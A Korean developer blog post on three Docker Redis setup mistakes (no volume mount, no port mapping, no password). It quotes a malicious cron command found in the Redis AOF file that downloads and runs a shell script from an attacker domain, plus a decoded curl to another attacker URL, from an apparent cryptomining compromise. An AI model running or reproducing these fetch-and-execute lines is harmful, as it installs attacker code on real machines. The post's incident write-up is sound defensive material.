도커에서 Redis 사용할 때 시행착오 3가지

목차

- 개요 : 사용한 명령어

- 1. `-v /path/on/host:/data` 옵션 누락

- 2. 포트 포워딩 옵션 누락

- 3. 키가 사라진 이유 (feat. 해킹?) 

- 결론

 

 

환경

ubuntu version: 18.04

docker version: 23.0.1

redis image version: latest

 

---

개요

도커에서 레디스를 사용할 때 겪은 에러 사항을 기록했습니다.

1. 레디스에 저장된 데이터가 유실되거나

2. 스프링부트 서버에서 레디스로 접속을 못했고

3. 저장한 키가 사라지고, "backup1" 이란 의문의 키가 나타남.

 

결론부터 말씀드리면, 도커에서 레디스를 실행할 때 명령어만 제대로 쳤으면 해결될 문제였습니다.

아래는 처음 레디스를 실행할 때 사용한 (잘못된) 명령어로, 어떤 에러를 만나, 어떻게 해결했는지 과정을 설명하겠습니다.

// 개선이 필요한 설치 명령어
$ docker run --name my-redis -d redis redis-server --appendonly yes

 

 

1. `-v /path/on/host:/data` 옵션 누락

 

문제 : 컨테이너 종료 후 재시작 시, 기존 레디스에 저장해둔 데이터가 보존되지 않음.

 

Redis 가 도커 컨테이너 내에서 실행될 경우, 해당 컨테이너가 중지되거나 삭제되면 레디스에 저장된 모든 데이터도 손실됩니다. 이를 방지하기 위해 볼륨 마운트를 사용하면 Redis 컨테이너가 호스트 머신(ubuntu)의 파일 시스템에 데이터를 쓸 수 있습니다. 즉 컨테이너가 중지/삭제돼도 데이터를 지속할 수 있습니다.

 

컨테이너 실행 명령어에서 -v 옵션을 사용하면 볼륨 마운트를 지정할 수 있습니다.

Docker에서 볼륨 마운트를 지정하면 Redis 컨테이너가 호스트 머신의 파일 시스템에 데이터를 저장할 수 있습니다.

docker run -v /path/on/host:/data --name my-redis redis redis-server --appendonly yes

v 옵션에서 /path/on/host는 Redis의 데이터가 저장될 호스트 머신의 디렉터리 경로며, /data는 Redis 데이터가 저장될 컨테이너 내부의 디렉터리 경로입니다.

v 옵션을 지정해야 하는 이유는, 컨테이너가 중지되거나 삭제된 경우에도 Redis 컨테이너가 데이터를 유지할 수 있기 때문입니다. 볼륨 마운트가 없으면 컨테이너가 중지되거나 삭제될 때 컨테이너에 저장된 모든 데이터가 손실되므로 데이터 지속성이 중요한 프로덕션 애플리케이션에서는 문제가 될 수 있습니다.

 

docker inspect [container-name] 명령어로 확인하면, 볼륨 마운트 설정이 잘 이뤄진 것을 볼 수 있습니다.

---

 

2. port Forwarding 옵션 누락

문제: 스프링부트 서버에서 레디스로 접속이 불가능 

 

# (1)
docker run -v /path/on/host:/data --name my-redis2 redis redis-server --appendonly yes

# (2)
docker run -v /path/on/host:/data --name my-redis -p 6379:6379 redis redis-server --appendonly yes

위 명령어로 2개의 레디스 컨테이너를 실행하면 아래의 결과가 나옵니다.

my-redis 컨테이너는 -p 옵션으로 포트포워딩을 설정한 반면, my-redis2 컨테이너는 -p 옵션이 누락돼 포트포워딩 설정이 없습니다.

my-redis2 컨테이너만 존재한다면 외부에서 6379 포트로 접속을 시도해도, 레디스 컨테이너로 매핑이 되지 않기 때문에 접속이 불가합니다. 때문에 아래 명령어처럼 -p 옵션으로 포트포워딩을 반드시 명시해야 합니다.

docker run -v /path/on/host:/data --name my-redis -p 6379:6379 redis redis-server --appendonly yes

 

 

3. 키가 사라진 이유 (feat. 해킹?) -> 레디스 패스워드 미설정

레디스에 저장한 키가 지속적으로 사라지는 문제가 있었습니다. 처음에는 볼륨 마운트 설정이 잘못된 줄 알았으나 해당 부분은 문제가 없었습니다. keys * 명령어로 확인한 결과 저장한 키가 사라진 대신 "backup1" 이란 키가 등장했습니다. (keys * 명령어는 지양하는게 맞습니다)

 

 

레디스 로그를 확인하기 위해 위 경로로 이동 후 appendonly.aof.1.incr.aof 파일을 열었습니다.

 

appendonly.aof.1.incr.aof 

해당 파일을 열면 아래의 내용이 나오는데, 

@hourly root  python -c "import urllib2; print urllib2.urlopen('\\s\\s.a-d\\og.t\\op/t.sh').read()" >.1;chmod +x .1;./.1이란 커맨드가 등장합니다.

해당 명령어를 chatGPT 에 질의했습니다.

요약하자면 크론 잡 스케줄러, 해당 url 에서 쉘 스크립트 다운로드, 특정 파일(`.1`)에 저장 후 실행 한다고 합니다.

 

또한 root echo 로 시작되는 base64 문자도 여럿 나타납니다.해당 사이트에서 위의 base64 문자를 디코딩 했습니다. `curl http://kiss.a-dog.top/b2f628/b.sh(클릭ㄴㄴ)`이 사이트로 요청을 보내 b.sh 스크립트를 실행할 것으로 생각됩니다.

블로그를 참조하면, 우리의 레디스 저장소를 코인 마이닝 용도로 사용했다고 추론합니다.

 

그럼 어떻게 저런 스크립트가 레디스 컨테이너에 주입될 수 있었을까요?

비밀번호를 설정하지 않았기 때문입니다 😂

 

--requirepass [password] 명령어를 사용해 비밀번호를 설정하겠습니다.

docker run -v /path/on/host:/data --name my-redis -p 6379:6379 redis redis-server --appendonly yes --requirepass [password]

설정 후 redis-cli 로 레디스 컨테이너에 접속하면 NOAUTH 에러가 뜹니다.

auth [password] 를 입력하면 인증이 완료되어 명령어를 입력할 수 있습니다.

 

이전과 달리, 컨테이너를 중지/재시작하거나, 몇 시간 후에 재접속하여도 저장된 키가 보존되는 것을 확인할 수 있었습니다.

 

 

결론

레디스를 도커에 설치하면서 겪은 다양한 문제를 살펴봤습니다. 

1. 볼륨 마운트 설정은 단순히 컨테이너 중지/재시작 이유를 넘어, 레디스 클러스터를 설정할 때도 꼭 필요한 설정이라 생각됩니다.

2. 포트 포워딩은 레디스만의 문제라기 보단, 도커 컨테이너를 실행할 때 설정이 미숙했던 부분이었습니다.

3. 패스워드 문제는 아직도 놀라운데,,, 실제로 악성 스크립트가 제 서버에 등장할 것이라곤 예상하지 못했습니다. jwt 토큰을 사용하기 위해 redis 를 도입했는데, 정작 redis 설정부터 뚤린 아픈 사례로 기억되겠습니다. 패스워드 설정..필수..꼭 ⭐️

 

결과) 레디스 컨테이너를 실행하기 위한 최종 명령어의 모습입니다.

docker run -v /path/on/host:/data \  # volume mount 지정
--name [container name] \
-p 6379:6379 \  # port forwadinr 지정
redis redis-server 
--appendonly yes 
--requirepass [password] \  # password 지정

 

ref

Docker 컨테이너에 데이터 저장 (볼륨/바인드 마운트)

Redis 해킹당한 이야기